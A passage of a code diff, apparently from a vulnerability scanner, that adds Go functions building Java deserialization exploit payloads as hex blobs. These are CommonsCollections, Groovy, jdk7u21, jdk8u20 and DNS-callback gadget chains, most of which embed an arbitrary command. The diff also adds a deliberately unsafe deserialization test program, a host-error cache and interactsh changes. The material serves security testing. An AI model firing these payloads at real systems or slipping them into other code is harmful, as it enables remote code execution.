suffix, _ := hex.DecodeString("08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401001E79736F73657269616C2F50776E65723131353636353933373838363330390100204C79736F73657269616C2F50776E65723131353636353933373838363330393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F003700000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000033000E00000020000300000001000F0037000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000037000E0000002A000400000001000F003700000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C0000001B000300020000000FA70003014CB8002F1231B6003557B1000000000002002000000002002100110000000A000100020023001000097571007E001F000001D4CAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003B000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000017672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000000000007870770400000003737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000171007E002978")
buffer.Write(suffix)
return buffer.Bytes()
}
// generateCommonsCollections440PPayload generates commons-collections 3.1
// deserialization paylaod for a command.
func generateCommonsCollections31Payload(cmd string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B787074002668747470733A2F2F6769746875622E636F6D2F6A6F616F6D61746F73662F6A6578626F7373207372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001B00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001B7371007E00137571007E001800000002707571007E001800000000740006696E766F6B657571007E001B00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
buffer.Write(prefix)
buffer.WriteString(string(rune(len(cmd))))
buffer.WriteString(cmd)
suffix, _ := hex.DecodeString("740004657865637571007E001B0000000171007E00207371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878")
buffer.Write(suffix)
return buffer.Bytes()
}
// generateGroovy1Payload generates org.codehaus.groovy:groovy:2.3.9
// deserialization paylaod for a command.
func generateGroovy1Payload(cmd string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002C6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E766572746564436C6F7375726510233719F715DD1B0200014C000A6D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B7872002D6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E76657273696F6E48616E646C65721023371AD601BC1B0200024C000864656C65676174657400124C6A6176612F6C616E672F4F626A6563743B4C000B68616E646C6543616368657400284C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D61703B7870737200296F72672E636F6465686175732E67726F6F76792E72756E74696D652E4D6574686F64436C6F73757265110E3E848FBDCE480200014C00066D6574686F6471007E00097872001367726F6F76792E6C616E672E436C6F737572653CA0C76616126C5A0200084900096469726563746976654900196D6178696D756D4E756D6265724F66506172616D657465727349000F7265736F6C766553747261746567794C000362637774003C4C6F72672F636F6465686175732F67726F6F76792F72756E74696D652F63616C6C736974652F426F6F6C65616E436C6F73757265577261707065723B4C000864656C656761746571007E000B4C00056F776E657271007E000B5B000E706172616D6574657254797065737400125B4C6A6176612F6C616E672F436C6173733B4C000A746869734F626A65637471007E000B7870000000000000000200000000707400")
buffer.Write(prefix)
buffer.WriteString(string(rune(len(cmd))))
buffer.WriteString(cmd)
suffix, _ := hex.DecodeString("71007E0013757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078707672000C6A6176612E696F2E46696C65042DA4450E0DE4FF0300014C00047061746871007E000978707074000765786563757465737200266A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D61706499DE129D87293D03000349000B7365676D656E744D61736B49000C7365676D656E7453686966745B00087365676D656E74737400315B4C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D6170245365676D656E743B78700000000F0000001C757200315B4C6A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D6170245365676D656E743B52773F41329B39740200007870000000107372002E6A6176612E7574696C2E636F6E63757272656E742E436F6E63757272656E74486173684D6170245365676D656E741F364C905893293D02000146000A6C6F6164466163746F72787200286A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B6655A82C2CC86AEB0200014C000473796E6374002F4C6A6176612F7574696C2F636F6E63757272656E742F6C6F636B732F5265656E7472616E744C6F636B2453796E633B7870737200346A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B244E6F6E6661697253796E63658832E7537BBF0B0200007872002D6A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E5265656E7472616E744C6F636B2453796E63B81EA294AA445A7C020000787200356A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E416273747261637451756575656453796E6368726F6E697A65726655A843753F52E30200014900057374617465787200366A6176612E7574696C2E636F6E63757272656E742E6C6F636B732E41627374726163744F776E61626C6553796E6368726F6E697A657233DFAFB9AD6D6FA90200007870000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F4000007371007E00207371007E0024000000003F400000707078740008656E747279536574767200126A6176612E6C616E672E4F7665727269646500000000000000000000007870")
buffer.Write(suffix)
return buffer.Bytes()
}
// generateDNSPayload generates DNS interaction deserialization paylaod for a DNS Name.
// Based on Gabriel Lawrence gadget
func generateDNSPayload(url string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870FFFFFFFFFFFFFFFF7400")
buffer.Write(prefix)
buffer.WriteString(string(rune(len(url))))
buffer.WriteString(url)
suffix, _ := hex.DecodeString("74000071007E00057400056874747073707874001968747470733A2F2F746573742E6A6578626F73732E696E666F78")
buffer.Write(suffix)
return buffer.Bytes()
}
// generatejdk7u21Payload generates deserialization payload for jdk7.
// improved from frohoff version
func generatejdk7u21Payload(url string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000849000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF0070757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006")
buffer.Write(prefix)
buffer.WriteString(string(rune(len(url) + 131)))
middle, _ := hex.DecodeString("CAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100")
buffer.Write(middle)
buffer.WriteString(url)
suffix, _ := hex.DecodeString("08003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401002179736F73657269616C2F4A6578426F7373323631343139333134303837383735390100234C79736F73657269616C2F4A6578426F7373323631343139333134303837383735393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002E000E0000000C000100000005000F003700000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000033000E00000020000300000001000F0037000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000037000E0000002A000400000001000F003700000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C0000001B000300020000000FA70003014CB8002F1231B6003557B1000000000002002000000002002100110000000A000100020023001000097571007E000C000001D4CAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003B000E0000000C000100000005000F001200000002001300000002001400110000000A00010002001600100009707400076A6578626F73737077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001740008663561356136303871007E0009787672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C617465730000000000000000000000787078")
buffer.Write(suffix)
return buffer.Bytes()
}
// generatejdk8u20Payload generates deserialization payload for jdk8.
// improved from Alvaro (pwntester) version
func generatejdk8u20Payload(url string) []byte {
buffer := &bytes.Buffer{}
prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000949000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C00195F61636365737345787465726E616C5374796C6573686565747400124C6A6176612F6C616E672F537472696E673B4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF00740003616C6C70757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006")
buffer.Write(prefix)
buffer.WriteString(string(rune(len(url) + 147)))
middle, _ := hex.DecodeString("CAFEBABE00000031003A0A0003002407003807002707002801001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100224C7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700290100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B0100236F72672E6E65746265616E732E536F757263654C6576656C416E6E6F746174696F6E730100144C6A6176612F6C616E672F4F766572726964653B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002A0100207574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01000C7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002C01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002E002F0A002D00300100")
buffer.Write(middle)
buffer.WriteString(url)
suffix, _ := hex.DecodeString("08003201000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003400350A002D003601002179736F73657269616C2F4A6578426F7373323434393535333834303536333337380100234C79736F73657269616C2F4A6578426F7373323434393535333834303536333337383B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000001C000E0000000C000100000005000F003900000001001300140002000C0000003F0000000300000001B100000002000D0000000600010000001F000E00000020000300000001000F0039000000000001001500160001000000010017001800020019000000040001001A00010013001B0003000C000000490000000400000001B100000002000D00000006000100000022000E0000002A000400000001000F003900000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A0020000000060001002100000008002B000B0001000C0000001B000300020000000FA70003014CB800311233B6003757B1000000000002002200000002002300110000000A000100020025001000097571007E000D0000019BCAFEBABE00000031001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100124C7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A0100107574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501000C7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000026000E0000000C000100000005000F001200000002001300000002001400110000000A00010002001600100009707400076A6578626F73737077010078737D00000001001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C61746573787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200024C000564756D6D797400124C6A6176612F6C616E672F4F626A6563743B4C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B7870737200296A6176612E6265616E732E6265616E636F6E746578742E4265616E436F6E74657874537570706F7274BC4820F0918FB90C03000149000C73657269616C697A61626C657872002E6A6176612E6265616E732E6265616E636F6E746578742E4265616E436F6E746578744368696C64537570706F727457D4EFC704DC72250200014C00146265616E436F6E746578744368696C64506565727400294C6A6176612F6265616E732F6265616E636F6E746578742F4265616E436F6E746578744368696C643B787071007E0019000000017372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50300024C0004747970657400114C6A6176612F6C616E672F436C6173733B4C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B78707672001D6A617661782E786D6C2E7472616E73666F726D2E54656D706C6174657300000000000000000000007870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C77080000001000000001740008663561356136303871007E0009787704000000007871007E001D78")
buffer.Write(suffix)
return buffer.Bytes()
}

30
v2/pkg/protocols/common/helpers/deserialization/testdata/Deserialize.java vendored Normal file
View File

@ -0,0 +1,30 @@
import java.io.*;
class Deserialize {
public static void main(String args[]) {
FileInputStream fileIn = null;
ObjectInputStream in = null;
ValueObject vo2 = null;
try {
fileIn = new FileInputStream("ValueObject2.ser");
}
catch(FileNotFoundException e) {
e.printStackTrace();
}
try {
in = new ObjectInputStream(fileIn);
}
catch(IOException e) {
e.printStackTrace();
}
try {
vo2 = (ValueObject) in.readObject();
}
catch(Exception e) {
e.printStackTrace();
}
System.out.println(vo2);
}
}

11
v2/pkg/protocols/common/helpers/deserialization/testdata/README.md vendored Normal file
View File

@ -0,0 +1,11 @@
# testdata
### Test Unsafe Java Deserialization
```
javac Deserialize.java ValueObject.java
# generate payload and write to ValueObject2.ser
java Deserialize
```
Modified From: https://snyk.io/blog/serialization-and-deserialization-in-java/

15
v2/pkg/protocols/common/helpers/deserialization/testdata/ValueObject.java vendored Normal file
View File

@ -0,0 +1,15 @@
import java.io.*;
public class ValueObject implements Serializable {
private String value;
private String sideEffect;
public ValueObject() {
this("empty");
}
public ValueObject(String value) {
this.value = value;
this.sideEffect = java.time.LocalTime.now().toString();
}
}

126
v2/pkg/protocols/common/hosterrorscache/hosterrorscache.go Normal file
View File

@ -0,0 +1,126 @@
package hosterrorscache
import (
"net"
"net/url"
"regexp"
"strings"
"github.com/bluele/gcache"
"github.com/projectdiscovery/gologger"
)
// Cache is a cache for host based errors. It allows skipping
// certain hosts based on an error threshold.
//
// It uses an LRU cache internally for skipping unresponsive hosts
// that remain so for a duration.
type Cache struct {
MaxHostError int
verbose bool
failedTargets gcache.Cache
}
const DefaultMaxHostsCount = 10000
// New returns a new host max errors cache
func New(MaxHostError, maxHostsCount int) *Cache {
gc := gcache.New(maxHostsCount).
ARC().
Build()
return &Cache{failedTargets: gc, MaxHostError: MaxHostError}
}
// SetVerbose sets the cache to log at verbose level
func (c *Cache) SetVerbose(verbose bool) *Cache {
c.verbose = verbose
return c
}
// Close closes the host errors cache
func (c *Cache) Close() {
c.failedTargets.Purge()
}
func (c *Cache) normalizeCacheValue(value string) string {
finalValue := value
if strings.HasPrefix(value, "http") {
if parsed, err := url.Parse(value); err == nil {
hostname := parsed.Host
finalPort := parsed.Port()
if finalPort == "" {
if parsed.Scheme == "https" {
finalPort = "443"
} else {
finalPort = "80"
}
hostname = net.JoinHostPort(parsed.Host, finalPort)
}
finalValue = hostname
}
}
return finalValue
}
// ErrUnresponsiveHost is returned when a host is unresponsive
//var ErrUnresponsiveHost = errors.New("skipping as host is unresponsive")
// Check returns true if a host should be skipped as it has been
// unresponsive for a certain number of times.
//
// The value can be many formats -
// - URL: https?:// type
// - Host:port type
// - host type
func (c *Cache) Check(value string) bool {
finalValue := c.normalizeCacheValue(value)
if !c.failedTargets.Has(finalValue) {
return false
}
numberOfErrors, err := c.failedTargets.GetIFPresent(finalValue)
if err != nil {
return false
}
numberOfErrorsValue := numberOfErrors.(int)
if numberOfErrors == -1 {
return true
}
if numberOfErrorsValue >= c.MaxHostError {
_ = c.failedTargets.Set(finalValue, -1)
if c.verbose {
gologger.Verbose().Msgf("Skipping %s as previously unresponsive %d times", finalValue, numberOfErrorsValue)
}
return true
}
return false
}
// MarkFailed marks a host as failed previously
func (c *Cache) MarkFailed(value string) {
finalValue := c.normalizeCacheValue(value)
if !c.failedTargets.Has(finalValue) {
_ = c.failedTargets.Set(finalValue, 1)
return
}
numberOfErrors, err := c.failedTargets.GetIFPresent(finalValue)
if err != nil || numberOfErrors == nil {
_ = c.failedTargets.Set(finalValue, 1)
return
}
numberOfErrorsValue := numberOfErrors.(int)
_ = c.failedTargets.Set(finalValue, numberOfErrorsValue+1)
}
var checkErrorRegexp = regexp.MustCompile(`(no address found for host|Client\.Timeout exceeded while awaiting headers|could not resolve host)`)
// CheckError checks if an error represents a type that should be
// added to the host skipping table.
func (c *Cache) CheckError(err error) bool {
errString := err.Error()
return checkErrorRegexp.MatchString(errString)
}

30
v2/pkg/protocols/common/hosterrorscache/hosterrorscache_test.go Normal file
View File

@ -0,0 +1,30 @@
package hosterrorscache
import (
"testing"
"github.com/stretchr/testify/require"
)
func TestCacheCheckMarkFailed(t *testing.T) {
cache := New(3, DefaultMaxHostsCount)
cache.MarkFailed("http://example.com:80")
if value, err := cache.failedTargets.Get("http://example.com:80"); err == nil && value != nil {
require.Equal(t, 1, value, "could not get correct markfailed")
}
cache.MarkFailed("example.com:80")
if value, err := cache.failedTargets.Get("example.com:80"); err == nil && value != nil {
require.Equal(t, 2, value, "could not get correct markfailed")
}
cache.MarkFailed("example.com")
if value, err := cache.failedTargets.Get("example.com"); err == nil && value != nil {
require.Equal(t, 1, value, "could not get correct markfailed")
}
for i := 0; i < 3; i++ {
cache.MarkFailed("test")
}
value := cache.Check("test")
require.Equal(t, true, value, "could not get checked value")
}

30
v2/pkg/protocols/common/interactsh/interactsh.go
View File

@ -1,7 +1,10 @@
package interactsh
import (
"bytes"
"fmt"
"net/url"
"os"
"strings"
"sync/atomic"
"time"
@ -15,7 +18,6 @@ import (
"github.com/projectdiscovery/nuclei/v2/pkg/output"
"github.com/projectdiscovery/nuclei/v2/pkg/progress"
"github.com/projectdiscovery/nuclei/v2/pkg/reporting"
"github.com/valyala/fasttemplate"
)
// Client is a wrapped client for interactsh server.
@ -63,6 +65,8 @@ type Options struct {
IssuesClient *reporting.Client
// Progress is the nuclei progress bar implementation.
Progress progress.Progress
// Debug specifies whether debugging output should be shown for interactsh-client
Debug bool
}
const defaultMaxInteractionsCount = 5000
@ -101,6 +105,9 @@ func New(options *Options) (*Client, error) {
}
interactClient.interactsh.StartPolling(interactClient.pollDuration, func(interaction *server.Interaction) {
if options.Debug {
debugPrintInteraction(interaction)
}
item := interactClient.requests.Get(interaction.UniqueID)
if item == nil {
// If we don't have any request for this ID, add it to temporary
@ -183,9 +190,7 @@ func (c *Client) ReplaceMarkers(data, interactshURL string) string {
if !strings.Contains(data, interactshURLMarker) {
return data
}
replaced := fasttemplate.ExecuteStringStd(data, "{{", "}}", map[string]interface{}{
"interactsh-url": interactshURL,
})
replaced := strings.NewReplacer("{{interactsh-url}}", interactshURL).Replace(data)
return replaced
}
@ -255,3 +260,20 @@ func HasMatchers(op *operators.Operators) bool {
}
return false
}
func debugPrintInteraction(interaction *server.Interaction) {
builder := &bytes.Buffer{}
switch interaction.Protocol {
case "dns":
